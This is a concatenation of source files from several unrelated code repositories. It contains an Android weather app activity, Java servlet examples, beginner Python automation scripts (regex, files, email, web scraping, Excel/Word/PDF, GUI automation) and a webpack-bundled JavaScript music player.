showWeather(); } Intent intent=new Intent(this,AutoUpdateService.class); startService(intent); } private void showWeather() { // TODO Auto-generated method stub SharedPreferences prefs=PreferenceManager.getDefaultSharedPreferences(this); cityNameText.setText(prefs.getString("city_name", "")); temp1Text.setText(prefs.getString("temp1", "")); temp1Text.setText(prefs.getString("temp2", "")); weatherDespText.setText(prefs.getString("weather_desp", "")); publishText.setText(prefs.getString("publish_time", "")); currentDateText.setText(prefs.getString("current_date", "")); weatherInfoLayout.setVisibility(View.VISIBLE); cityNameText.setVisibility(View.VISIBLE); } private void queryWeatherCode(String countryCode) { // TODO Auto-generated method stub String address="http://www.weather.com.cn/data/list3/city"+countryCode+".xml"; queryFromServer(address,"countryCode"); } private void queryWeatherInfo(String weatherCode) { // TODO Auto-generated method stub String address="http://www.weather.com.cn/data/list3/city"+weatherCode+".xml"; queryFromServer(address,"weatherCode"); } private void queryFromServer(final String address, final String type) { // TODO Auto-generated method stub HttpUtil.sendHttpRequst(address, new HttpCallbackListener() { @Override public void onFinish(String response) { // TODO Auto-generated method stub if(type.equals("countryCode")) { if(!TextUtils.isEmpty(response)) { String[] array=response.split("\\|"); if(array!=null&&array.length==2) { String weartherCode=array[1]; queryWeatherInfo(weartherCode); } } } else if(type.equals("weatherCode")) { Utility.handleWeatherResponse(WeatherActivity.this,response); runOnUiThread(new Runnable() { @Override public void run() { // TODO Auto-generated method stub showWeather(); } }); } } @Override public void onError(Exception e) { // TODO Auto-generated method stub } }); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.weather, menu); return true; } @Override public void onClick(View v) { // TODO Auto-generated method stub switch (v.getId()) { case R.id.switch_city: Intent intent=new Intent(this,ChooseAreaActivity.class); intent.putExtra("form_weather_activity", true); startActivity(intent); finish(); break; case R.id.refresh_city: publishText.setText("同步中"); SharedPreferences prefs=PreferenceManager.getDefaultSharedPreferences(this); String weatherCode=prefs.getString("weather_code", ""); if(!TextUtils.isEmpty(weatherCode)) { queryWeatherInfo(weatherCode); } break; } } }
acc24a896fb0aa478f5e4997d50625487aee1eef
[ "Java" ]
1
Java
yinhuamin/coolweather
234542921d0019416b0136044db5537c2d5ade1e
56625dc93579b55133ac28a9e0848b9d7d08e397
refs/heads/master
<repo_name>qinlinsen/servlet-indepth<file_sep>/src/main/java/com/timo/servlet/ExtendsGenericServlet.java package com.timo.servlet; import javax.servlet.*; import java.io.IOException; import java.io.PrintWriter; import java.util.Enumeration; /** * 这是写Servlet的第二种方法继承GenericServlet * @author 秦林森 */ public class ExtendsGenericServlet extends GenericServlet{ @Override public void init(ServletConfig config) throws ServletException { System.out.println(config); String servletName = config.getServletName(); System.out.println("servletName="+servletName); Enumeration<String> initParameterNames = config.getInitParameterNames(); while(initParameterNames.hasMoreElements()){ String s = initParameterNames.nextElement(); System.out.println("s="+s); } } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { System.out.println("contextPath="+servletRequest.getServletContext().getContextPath()); Enumeration<String> attributeNames = servletRequest.getAttributeNames(); while (attributeNames.hasMoreElements()){ String element = attributeNames.nextElement(); System.out.println("element="+element); } servletResponse.setContentType("text/html;charset=utf-8"); PrintWriter writer = servletResponse.getWriter(); writer.print("ExtendsGenericServlet"); } } <file_sep>/src/main/java/com/timo/servlet/ImplementServlet.java package com.timo.servlet; import javax.servlet.*; import java.io.IOException; import java.util.Enumeration; /** * 这是写Servlet的第一种方法实现Servlet接口,所以我的类名取ImplementServlet * 从这里可以看出servlet的生命周期(所谓的生命周期就是servlet) * @author 秦林森 */ public class ImplementServlet implements Servlet { /** * 在服务器tomcat启动时调用该方法,该方法只会被调用一次 * @param servletConfig * @throws ServletException */ public void init(ServletConfig servletConfig) throws ServletException { Object renmin = servletConfig.getServletContext().getAttribute("renmin"); String name = servletConfig.getInitParameter("name"); ServletContext servletContext = servletConfig.getServletContext(); System.out.println("name="+name); String age = servletConfig.getInitParameter("age"); System.out.println("age="+age); System.out.println("servletContext="+servletContext); System.out.println("renmin="+renmin); System.out.println("*****************************************************"); Enumeration<String> initParameterNames = servletConfig.getInitParameterNames(); while (initParameterNames.hasMoreElements()){ String element = initParameterNames.nextElement(); String value = servletConfig.getInitParameter(element); System.out.println(element+"="+value); } } public ServletConfig getServletConfig() { return getServletConfig(); } /** * servlet中处理业务逻辑的方法 * @param servletRequest * @param servletResponse * @throws ServletException * @throws IOException */ public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { servletResponse.setContentType("text/html;charset=utf-8"); String contextPath = servletRequest.getServletContext().getContextPath(); System.out.println("contextPath="+contextPath); String renmin = servletRequest.getServletContext().getInitParameter("renmin"); System.out.println("renmin="+renmin); ServletOutputStream outputStream = servletResponse.getOutputStream(); outputStream.print("hello world"); } public String getServletInfo() { return null; } /** * 服务器关闭时调用该方法 */ public void destroy() { System.out.println("服务器关闭时调用该方法"); } } <file_sep>/src/main/java/com/timo/servlet/ExtendsHttpServlet.java package com.timo.servlet; import javax.servlet.ServletConfig; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.PrintWriter; /** * 第三种写servlet方式继承HttpServlet * @author 秦林森 */ public class ExtendsHttpServlet extends HttpServlet { @Override public void init(ServletConfig config) throws ServletException { System.out.println("第三种写servlet方式"); } @Override protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.setContentType("application/json;charset=utf-8"); PrintWriter out = resp.getWriter(); out.write(1); out.write(3); out.print(resp); } }
a03e89c09669179a57c547cee4884087e4f92725
[ "Java" ]
3
Java
qinlinsen/servlet-indepth
63aa8ee6b4451a975571779bff059d274f7357f1
15f06fc04fe0107dcfbc16b8d2983dabdca47deb
refs/heads/master
<repo_name>DanielJWagener/automate-the-boring-stuff-with-python<file_sep>/email/smtpExample.py import smtplib conn = smtplib.SMTP('smtp.gmail.com', 587) conn.ehlo() conn.starttls() print(conn.login('<EMAIL>', '<password>')) conn.sendmail('<EMAIL>', '<EMAIL>', 'Subject: Hi me\n\nDear Daniel, \nWell, here ya go') conn.quit() <file_sep>/files/walking.py import os os.chdir('/home/daniel/Coding/automate-the-boring-stuff/files') for folderName, subfolders, filenames in os.walk('./walkMe'): print('The folder is ' + folderName) print('The subfolders in ' + folderName + ' are: ' + str(subfolders)) print('The filenames in %s are: %s' % (folderName, str(filenames))) print() <file_sep>/README.md # Automate the Boring Stuff with Python. This is simply a repository of a code I write while going through Al Sweigart's Udemy course. <file_sep>/excel-word-pdf/readPDF.py import PyPDF2 import os os.chdir('/home/daniel/Downloads') pdfFile = open('meetingminutes1.pdf', 'rb') reader = PyPDF2.PdfFileReader(pdfFile) print(reader.numPages) page = reader.getPage(0) print(page.extractText()) # Print entire PDF for pageNum in range(reader.numPages): print(reader.getPage(pageNum).extractText()) pdfFile.close() <file_sep>/email/checkInbox.py import imapclient import pyzmail conn = imapclient.IMAPClient('imap.gmail.com', ssl=True) conn.login('<EMAIL>', '<<PASSWORD>>') print(conn.select_folder('INBOX', readonly=True)) UIDs = conn.search(['SINCE', '10-Mar-2020']) rawMessage = conn.fetch([38642], ['BODY[]', 'FLAGS']) message = pyzmail.PyzMessage.factory(rawMessage[38642][b'BODY[]']) print(message.get_subject()) print(message.text_part.get_payload().decode('UTF-8')) <file_sep>/files/deleting.py import os import shutil import send2trash os.chdir('/home/daniel/Coding/automate-the-boring-stuff/files') # os.rmdir('./asdf') # shutil.rmtree('./asdf') send2trash.send2trash('./trashMe.txt') <file_sep>/web-scraping/downloadingWithRequests.py import requests import os os.chdir('/home/daniel/Coding/automate-the-boring-stuff/web-scraping') res = requests.get('http://automatetheboringstuff.com/files/rj.txt') # print(res.status_code) res.raise_for_status() outputFile = open('RomeoAndJuliet.txt', 'wb') for chunk in res.iter_content(10000): outputFile.write(chunk) outputFile.close() <file_sep>/regex/groups.py import re message = "Call me 123-123-1234 because that's totes a real phone number." phoneNumRegex = re.compile(r'(\d\d\d)-(\d\d\d-\d\d\d\d)') mo = phoneNumRegex.search(message) # Not zero indexed wtf print("The area code is %s and the rest of the phone number is %s" % (mo.group(1), mo.group(2))) # Escaping parentheses message2 = "Call me (123) 123-1234 because that's totes a real phone number." parenthesesPhoneNumRegex = re.compile(r'\(\d\d\d\) \d\d\d-\d\d\d\d') mo2 = parenthesesPhoneNumRegex.search(message2) print('Look ma, escaped parentheses: %s' % (mo2.group())) # Pipe Character batRegex = re.compile(r'Bat(mobile|copter|man|bat)') mo3 = batRegex.search(r"Let's get in the Batmobile") print("Today's bat-word is: %s" % (mo3.group())) <file_sep>/excel-word-pdf/editExcel.py import openpyxl import os os.chdir('/home/daniel/Coding/automate-the-boring-stuff/excel-word-pdf') # Create new workbook wb = openpyxl.Workbook() sheet = wb.get_sheet_by_name('Sheet') sheet['A1'] = 42 sheet['A2'] = 'Hello' sheet2 = wb.create_sheet() sheet2.title = "New Sheet" wb.save('example3.xlsx') <file_sep>/gui-automation/keyboard.py import pyautogui pyautogui.click(200, 200) pyautogui.typewrite('Hello, world!', interval=0.05) pyautogui.hotkey('ctrl', 'n') <file_sep>/files/shelfFiles.py import os import shelve os.chdir('/home/daniel/Coding/automate-the-boring-stuff/files') shelfFile = shelve.open('catdata') # shelfFile['cats'] = ['Emma', 'Byron'] print(shelfFile['cats']) shelfFile.close() <file_sep>/regex/classes.py import re lyrics = """On the 12th day of Christmas my true love sent to me 12 Lords a leaping, 11 ladies dancing, 10 pipers piping 9 drummers drumming, 8 maids a milking 7 swans a swimming, 6 geese a laying And 5 gold rings, 4 calling birds, 3 French hens, 2 turtle doves And a partridge in a pear tree""" xmasRegex = re.compile(r'\d+\s\w+') print(xmasRegex.findall(lyrics)) # Make your own character class: vowelRegex = re.compile(r'[aeiouAEIOU]') print(vowelRegex.findall(lyrics)) doubleVowelREgex = re.compile(r'[aeiouAEIOU]{2}') print(doubleVowelREgex.findall(lyrics)) notVowelRegex = re.compile(r'[^aeiouAEIOU]') print(notVowelRegex.findall(lyrics)) <file_sep>/web-scraping/amazonPriceScraper.py import bs4 import requests headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36', } res = requests.get( 'https://www.amazon.com/Automate-Boring-Stuff-Python-2nd-ebook/dp/B07VSXS4NK', headers=headers) res.raise_for_status() soup = bs4.BeautifulSoup(res.text, 'html.parser') soup2 = bs4.BeautifulSoup(soup.prettify(), "html.parser") elems = soup.select( '#mediaNoAccordion > div.a-row > div.a-column.a-span4.a-text-right.a-span-last > span.a-size-medium.a-color-price.header-price') print(elems) print(elems[0].text.strip()) <file_sep>/gui-automation/mouse.py import pyautogui width, height = pyautogui.size() # Move mouse to position # pyautogui.moveTo(400, 500, duration=5) # Move mouse up 100px # pyautogui.moveRel(0, -100) # Get mouse position print(pyautogui.position()) pyautogui.click(584, 99) <file_sep>/dictionaries/characterCounter.py from pprint import pprint message = "The quick brown fox jumped over the lazy dog" count = {} for character in message.upper(): count.setdefault(character, 0) count[character] = count[character] + 1 pprint(count) <file_sep>/files/os.py import os lolFile = open('/home/daniel/lol.txt') content = lolFile.read() print(content) lolFile.close() # Write mode # lolFile = open('/home/daniel/lol.txt', 'w') # Appened mode # lolFile = open('/home/daniel/lol.txt', 'a') lmaoFile = open('/home/daniel/lmao.txt', 'w') # lmaoFile.write('Ayyyyyyy lmao') lmaoFile.close print(os.getcwd()) os.chdir('/home/daniel/Coding/automate-the-boring-stuff/files') roflFile = open('deadhead.txt', 'a') roflFile.write("Hooray for you\n") roflFile.close() <file_sep>/regex/repetition.py import re # ? (match preceding group zero or one times) batRegex = re.compile(r'Bat(wo)?man') mo = batRegex.search('The Adventures of Batwoman') print('Find Batman or Batwoman:', mo.group()) phoneNumRegexOptionalAreaCode = re.compile(r'(\d\d\d-)?\d\d\d-\d\d\d\d') mo2 = phoneNumRegexOptionalAreaCode.search( "This phone number, 456-1234, has no area code.") print("But that's fine, we can do without.", mo2.group()) # * (match zero or more) rockyHorrorRegex = re.compile(r'antici(.)*( )*pation') mo3 = rockyHorrorRegex.search("antici....... pation") print("I see you shiver with", mo3.group()) mo4 = rockyHorrorRegex.search("Whatever, anticipation") print("No shivers here:", mo4.group()) # + (match one or more) hamburgersRegex = re.compile(r'(\d)+ hamburgers') mo5 = hamburgersRegex.search('Gimme 100 hamburgers') print('Order up:', mo5.group()) # {x} (match specific number of times) ellipsesRegex = re.compile(r'(\.){3}') print(ellipsesRegex.search("Idk man...").group()) # {x, y} (match a range of times) longEllipsesRegex = re.compile(r'(\.){3,}') print(longEllipsesRegex.search("Idk bro........").group()) # Greedy and non-greedy matches greedyMoo = re.compile(r'M(o){2,10}') nongreedyMoo = re.compile(r'M(o){2,10}?') moo = "Mooooooo" print("Greedy match:", greedyMoo.search(moo).group()) print("Non-greedy match:", nongreedyMoo.search(moo).group()) <file_sep>/excel-word-pdf/readExcel.py import openpyxl import os os.chdir('/home/daniel/Coding/automate-the-boring-stuff/excel-word-pdf') workbook = openpyxl.load_workbook('example.xlsx') sheet = workbook.get_sheet_by_name('Sheet1') for i in range(1, 8): print(i, sheet.cell(row=i, column=2).value) <file_sep>/excel-word-pdf/readWord.py import docx import os os.chdir('/home/daniel/Downloads') d = docx.Document('demo.docx') print(d.paragraphs[0].text) p = d.paragraphs[1] # A run is a segment of styled text (e.g. bold, italic) print(p.runs[1].text) # bold # We can change styles and text: p.runs[3].underline = True p.runs[3].text = 'italic and underline' d.save('demo2.docx') <file_sep>/files/copyMove.py import shutil import os os.chdir('/home/daniel/Coding/automate-the-boring-stuff/files') # os.makedirs(os.getcwd() + '/dest') # shutil.copy('deadhead.txt', './dest') # shutil.copytree("./dest", "./dest-backup") # Rename a file by "moving" it to the folder it's already in and giving it a new name shutil.move('./dest-backup/deadhead.txt', './dest-backup/deadhead-backup.txt') <file_sep>/regex/dotStar.py import re # ^ (beginning pattern) beginsWithHelloRegex = re.compile(r'^Hello') print(beginsWithHelloRegex.search("Hello there!")) # $ (ending pattern) endsWithWorldRegex = re.compile(r'world$') print(endsWithWorldRegex.search('Hello, world')) # Combine to match an entire string allDigitsRegex = re.compile(r'^\d+$') print(allDigitsRegex.search('234234')) # . (wildcard: any character except newline) atRegex = re.compile(r'.at') print(atRegex.findall('The hat on the mat')) # .* (match whatever) nameRegex = re.compile(r'First Name: (.*) Last Name: (.*)') print(nameRegex.findall("First Name: Daniel Last Name: Wagener")) nongreedy = re.compile(r'<(.*?)>') print(nongreedy.findall('<To serve humans> for dinner>')) # re.DOTALL (makes the wildcard match newlines too) hamlet = "To be or not to be, that is the question \n Whether tis nobler in the mind to suffer \n The slings and arrows of outrageous fortune \n Or to take arms against a sea of troubles \n And by opposing, end them." dotStar = re.compile(r'.*', re.DOTALL) print(dotStar.search(hamlet).group()) # Case insensitivity vowelRegex = re.compile(r'[aeiou]', re.I) print(vowelRegex.findall(hamlet)) <file_sep>/web-scraping/seleniumScraping.py from selenium import webdriver browser = webdriver.Firefox() browser.get('https://automatetheboringstuff.com') elem = browser.find_element_by_css_selector( '.main > ul:nth-child(16) > li:nth-child(1) > a:nth-child(1)') elem.click() paragraph = browser.find_element_by_css_selector( '#calibre_link-1610 > p:nth-child(5)') print(paragraph.text) <file_sep>/flow-control/falsey.py print("Enter a name.") name = input() if name: print("Nice work, " + name) else: print("You fail") <file_sep>/regex/verbose.py import re re.compile(r''' \d\d\d # Woah, you can add comments inside the regex! - \d\d\d - \d\d\d\d''', re.VERBOSE) # Pass multiple options using the bitwise OR operator re.compile(r''' \d\d\d # Woah, you can add comments inside the regex! - \d\d\d - \d\d\d\d''', re.VERBOSE | re.DOTALL | re.IGNORECASE) <file_sep>/regex/findall.py import re phoneNumRegex = re.compile(r'\d\d\d-\d\d\d-\d\d\d\d') resume = "My home phone is 123-123-1234, my cell phone is 345-345-3456, and my reference's phone is 567-567-5678. Hire me plz" print(phoneNumRegex.findall(resume)) # If the regex has two or more groups, the return is a list of tuples phoneNumRegexWithGroups = re.compile(r'(\d\d\d)-(\d\d\d-\d\d\d\d)') print("Behold the tuples:", phoneNumRegexWithGroups.findall(resume)) <file_sep>/excel-word-pdf/editWord.py import docx import os os.chdir('/home/daniel/Downloads') d = docx.Document('demo4.docx') # d.add_paragraph('Hello this is a paragraph.') # d.add_paragraph('This is another paragraph.') p = d.paragraphs[0] p.add_run('This is a new run.') p.runs[1].bold = True d.save('demo4.docx') <file_sep>/regex/phoneNumbers.py import re message = "Call me 123-123-1234 because that's totes a real phone number. Otherwise, 432-432-4321" phoneNumRegex = re.compile(r'\d\d\d-\d\d\d-\d\d\d\d') mo = phoneNumRegex.search(message) print(mo.group()) print(phoneNumRegex.findall(message)) <file_sep>/regex/sub.py import re namesRegex = re.compile(r'Agent \w+') print(namesRegex.sub( 'REDACTED', 'Agent Alice gave the secret documents to Agent Bob.')) # Sub only part of the agents' names namesRegex2 = re.compile(r'Agent (\w)\w+') # Here, 1 referes to group 1 defined above print(namesRegex2.sub(r'Agent \1*****', 'Agent Alice gave the secret documents to Agent Bob.')) <file_sep>/flow-control/if_else_example.py password = '<PASSWORD>' if password == '<PASSWORD>': print('Access granted') else: print('Wrong password') <file_sep>/flow-control/if_elif_example.py name = 'Bob' age = 1 if name == 'Alice': print('Hi Alice') elif age < 12: print('You are not Alice, kiddo') <file_sep>/gui-automation/screenshot.py import pyautogui # Take screenshot # pyautogui.screenshot('/home/daniel/Pictures/screenshop-example.png') print(pyautogui.locateAllOnScreen('/home/daniel/Pictures/vs.png')) <file_sep>/flow-control/fivetimes.py print('My name is:') for i in range(10, 0, -2): print("Daniel " + str(i))
e7dee63db0e450192f8144b8626e4f5f8ce5be6c
[ "Markdown", "Python" ]
32
Python
DanielJWagener/automate-the-boring-stuff-with-python
865da4848bb4ccc15f8e3b57bbca1a3ca0c08474
fc64f2259fc3895dde1a0a913be9efc74ff21d9b
refs/heads/master
<repo_name>OverAndBeyondWeb/overandbeyondproductions<file_sep>/js/bundle.js /******/ (function(modules) { // webpackBootstrap /******/ // The module cache /******/ var installedModules = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ /******/ // Check if module is in cache /******/ if(installedModules[moduleId]) { /******/ return installedModules[moduleId].exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = installedModules[moduleId] = { /******/ i: moduleId, /******/ l: false, /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__); /******/ /******/ // Flag the module as loaded /******/ module.l = true; /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /******/ /******/ // expose the modules object (__webpack_modules__) /******/ __webpack_require__.m = modules; /******/ /******/ // expose the module cache /******/ __webpack_require__.c = installedModules; /******/ /******/ // define getter function for harmony exports /******/ __webpack_require__.d = function(exports, name, getter) { /******/ if(!__webpack_require__.o(exports, name)) { /******/ Object.defineProperty(exports, name, { /******/ configurable: false, /******/ enumerable: true, /******/ get: getter /******/ }); /******/ } /******/ }; /******/ /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = function(module) { /******/ var getter = module && module.__esModule ? /******/ function getDefault() { return module['default']; } : /******/ function getModuleExports() { return module; }; /******/ __webpack_require__.d(getter, 'a', getter); /******/ return getter; /******/ }; /******/ /******/ // Object.prototype.hasOwnProperty.call /******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); }; /******/ /******/ // __webpack_public_path__ /******/ __webpack_require__.p = ""; /******/ /******/ // Load entry module and return exports /******/ return __webpack_require__(__webpack_require__.s = 1); /******/ }) /************************************************************************/ /******/ ([ /* 0 */ /***/ (function(module, exports) { // // Variables // ////////////////////////// var i, j, player, title, image, slider, volumeSlider, intv, playlistTracks, fullList, btnMute, btnPlayPause, btnStop, btnNext, btnPrevious, scrubbing; ////////////////////////// window.onload = function() { // // Assignments // //////////////////// i = 0; j = 0; player = document.getElementById('player'); title = document.getElementById('songtitle'); image = document.getElementById('trackPic'); slider = document.getElementById('sliderTime'); volumeSlider = document.getElementById('volumeSlider'); fullList = document.getElementById("fullList"); btnMute = document.getElementById("btnMute"); btnPlayPause = document.getElementById('btnPlayPause'); btnStop = document.getElementById('btnStop'); btnNext = document.getElementById('btnNext'); btnPrevious = document.getElementById('btnPrevious'); player.volume = 0.3; volImg = document.getElementById('volImg'); listIcon =document.getElementById('listIcon'); // // Event Listeners // //////////////////// btnPlayPause.addEventListener('click', initialPlay, false); btnStop.addEventListener('click', stopMusic, false); btnNext.addEventListener('click', playNext, false); btnPrevious.addEventListener('click', playPrevious, false); btnMute.addEventListener('click', mute, false); volumeSlider.addEventListener('mousemove', volUpDown, false); player.addEventListener('timeupdate', scrub, false); slider.addEventListener('mousedown',function () { scrubbing = true; }, false); slider.addEventListener('mousemove', changeSliderPos, false); slider.addEventListener('mouseup', function () { scrubbing = false; }, false); player.addEventListener('ended', loop, false); player.addEventListener('loadstart', hideart, false); player.addEventListener('playing', fadeIn, false); fullList.addEventListener('click', playClicked, false); }; /////////////////// *Playlist Assembly* //////////////////////////// /////////////////////////////////////////////////////////////////// playlistTracks = []; function Track(title, src, art, composer){ this.title = title; this.src = src; this.art = art; this.composer = composer; } Track.prototype.addToPlaylist = function() { playlistTracks.push(this); }; var track0 = new Track("Stop, Look, Listen", "mp3/stop, look, listen.mp3","images/wizard_thumbnail.jpg", "J Wiz"), track1 = new Track("Battering Ram", "mp3/battering ram.mp3", "images/gray-white logo 177.jpg", "J Wiz"), track2 = new Track("Limitless", "mp3/limitless.mp3","images/J Wiz 177.jpg", "J Wiz"), track3 = new Track("Full Metal Jacket", "mp3/full metal jacket.mp3","images/white-black logo 177.jpg", "J Wiz"), track4 = new Track("Starships", "mp3/starships.mp3","images/purple-white177.jpg", "J Wiz"); track0.addToPlaylist(); track1.addToPlaylist(); track2.addToPlaylist(); track3.addToPlaylist(); track4.addToPlaylist(); /////////////////// *Init* //////////////////////////// /////////////////////////////////////////////////////////////////// function update(){ document.getElementById('songTime').innerHTML = millisToMins(player.currentTime); } function millisToMins(time){ var sec = Math.floor(time); var d=new Date(0,0,0); d.setSeconds(sec); var hours =d.getHours(); var minutes = d.getMinutes(); var seconds = d.getSeconds(); if(seconds <= 9.5){ return "0" + minutes + " : 0" + seconds; }else{ return "0" + minutes + " : " + seconds; } } function hideart(){ image.src = playlistTracks[j].art; image.className = "unseen"; } function fadeIn(){ image.className = "fadeIn"; } /////////////////// *Volume Controls* //////////////////////////// /////////////////////////////////////////////////////////////////// function volUpDown(){ player.volume = volumeSlider.value/100; } function mute(){ if(player.muted){ player.muted = false; btnMute.style.color = '#ffffff'; }else{ player.muted = true; btnMute.style.color = '#8034b3'; } } ////////////////////////////// function changeEvent(){ btnPlayPause.removeEventListener('click', initialPlay, false); btnPlayPause.addEventListener('click', playPauseMusic, false); } ////////////////////////////// function changeSliderPos() { if (scrubbing) { player.currentTime = slider.value; } } function scrub(){ if(!scrubbing){ slider.value = player.currentTime; } } //Music Play Controls // ///////////////////////////// function initialPlay(){ btnPlayPause.innerHTML = "&#10074&#10074"; fullList.children[i].className = "highlighted"; j=0; loadPlayer(); changeEvent(); } function playPauseMusic(){ if (player.paused == true){ player.play(); btnPlayPause.innerHTML = "&#10074&#10074"; } else{ player.pause(); btnPlayPause.innerHTML = "&#9658"; } } function stopMusic(){ player.pause(); slider.value = 0; btnPlayPause.innerHTML = "&#9658"; player.currentTime = 0; } function playNext(){ changeEvent(); btnPlayPause.innerHTML = "&#10074&#10074"; player.pause(); if(j < playlistTracks.length - 1){ j++; fullList.children[j-1].className = "playList"; fullList.children[j].className = "highlighted"; }else{ j = 0; fullList.children[playlistTracks.length -1].className = "playList"; fullList.children[j].className = "highlighted"; } loadPlayer(); } function playPrevious(){ changeEvent(); player.pause(); btnPlayPause.innerHTML = "&#10074&#10074"; if(j > 0){ j--; fullList.children[j+1].className = "playList"; fullList.children[j].className = "highlighted"; }else{ j = playlistTracks.length - 1; fullList.children[0].className = "playList"; fullList.children[j].className = "highlighted"; } loadPlayer(); } function playClicked(event){ if (player.paused == true){ for(i=0; i<fullList.children.length; i++){ fullList.children[i].className = "playList"; if(fullList.children[i] == event.target){ j=i; } } loadPlayer(); fullList.children[j].className = "highlighted"; fullList.children[j].children[0].className = "fa fa-pause"; changeEvent(); }else{ player.pause(); for(i=0; i<fullList.children.length; i++){ fullList.children[i].children[0].className = "fa fa-play-circle"; } fullList.children[j].children[0].className = "fa fa-play-circle"; } } function loadPlayer(){ player.src = playlistTracks[j].src; setTimeout(function(){ slider.max = (Math.floor(player.duration)); }, 500); title.innerHTML = playlistTracks[j].title; intv = setInterval(update, 100); player.play(); } // // //Loop Playlist ////////////////////////////// function loop(){ playNext(); } let template = Handlebars.compile($('#trackNames').html()); $("#fullList").append(template(playlistTracks)); /***/ }), /* 1 */ /***/ (function(module, exports, __webpack_require__) { __webpack_require__(2); __webpack_require__(3); __webpack_require__(4); __webpack_require__(5); __webpack_require__(6); __webpack_require__(7); __webpack_require__(0); __webpack_require__(8); /***/ }), /* 2 */ /***/ (function(module, exports) { // removed by extract-text-webpack-plugin /***/ }), /* 3 */ /***/ (function(module, exports) { // removed by extract-text-webpack-plugin /***/ }), /* 4 */ /***/ (function(module, exports) { // removed by extract-text-webpack-plugin /***/ }), /* 5 */ /***/ (function(module, exports) { /* * FlowType.JS v1.1 * Copyright 2013-2014, Simple Focus http://simplefocus.com/ * * FlowType.JS by Simple Focus (http://simplefocus.com/) * is licensed under the MIT License. Read a copy of the * license in the LICENSE.txt file or at * http://choosealicense.com/licenses/mit * * Thanks to <NAME>eterici (http://www.gdifeterici.com/) */ (function($) { $.fn.flowtype = function(options) { // Establish default settings/variables // ==================================== var settings = $.extend({ maximum : 9999, minimum : 1, maxFont : 9999, minFont : 1, fontRatio : 35 }, options), // Do the magic math // ================= changes = function(el) { var $el = $(el), elw = $el.width(), width = elw > settings.maximum ? settings.maximum : elw < settings.minimum ? settings.minimum : elw, fontBase = width / settings.fontRatio, fontSize = fontBase > settings.maxFont ? settings.maxFont : fontBase < settings.minFont ? settings.minFont : fontBase; $el.css('font-size', fontSize + 'px'); }; // Make the magic visible // ====================== return this.each(function() { // Context for resize callback var that = this; // Make changes upon resize $(window).resize(function(){changes(that);}); // Set changes on load changes(this); }); }; }(jQuery)); /***/ }), /* 6 */ /***/ (function(module, exports) { /** * Created by Jwiz on 9/2/2015. */ $(document).ready(function(){ $('.songartist').flowtype({ minimum : 300, maximum : 1000, minFont : 12, maxFont : 300, fontRatio : 10 }); $('footer').flowtype({ minimum : 550, maximum : 1000, minFont : 8, maxFont : 280, fontRatio : 40 }); $('.playList').flowtype({ minimum : 200, maximum : 1920, minFont : 8, maxFont : 18, fontRatio : 20 }); $('#songTime').flowtype({ minimum : 300, maximum : 500, minFont : 8, maxFont : 280, fontRatio : 20 }); $('.info').flowtype({ minimum : 200, maximum : 1000, minFont : 8, maxFont : 280, fontRatio : 40 }); $('.controls').flowtype({ minimum : 500, maximum : 1920, minFont : 12, maxFont : 280, fontRatio : 40 }); $('.contactInfo').flowtype({ minimum : 500, maximum : 1920, minFont : 12, maxFont : 280, fontRatio : 50 }); $('.aboutInfo').flowtype({ minimum : 500, maximum : 1920, minFont : 12, maxFont : 280, fontRatio : 50 }); }); /***/ }), /* 7 */ /***/ (function(module, exports) { $(document).ready(function(){ $('.naviconMobile').click(function(){ if($('header').hasClass('closed')){ $('main').css('top', '100px'); $('header').css('z-index', 2).removeClass('closed'); $('.naviconMobile').css('color', '#5b079c'); }else{ $('main').css('top', 0); $('header').css('z-index', -1).addClass('closed'); $('.naviconMobile').css('color', 'white'); } }); $('.navicon').click(function(){ if($('header').hasClass('closed')){ $('main').css('top', '100px'); $('header').css('z-index', 2).removeClass('closed'); $('.naviconMobile').css('color', '#5b079c'); }else{ $('main').css('top', 0); $('header').css('z-index', -1).addClass('closed'); $('.naviconMobile').css('color', 'white'); } }); }); /***/ }), /* 8 */ /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; Object.defineProperty(__webpack_exports__, "__esModule", { value: true }); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__musicPlayer_js__ = __webpack_require__(0); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__musicPlayer_js___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0__musicPlayer_js__); (function(){ let template = Handlebars.compile($('#trackNames').html()); $("#fullList").append(template(__WEBPACK_IMPORTED_MODULE_0__musicPlayer_js__["playlistTracks"])); }()); /***/ }) /******/ ]);
5bc7e17b3e7721d1edd50f88949ad723d2f19df2
[ "JavaScript" ]
1
JavaScript
OverAndBeyondWeb/overandbeyondproductions
d7cbf2ebec89467dfa7733ebe1dc33c02f320dde
69f70ccafbf6c41380637721d7c1f165bf4cf80a
refs/heads/master
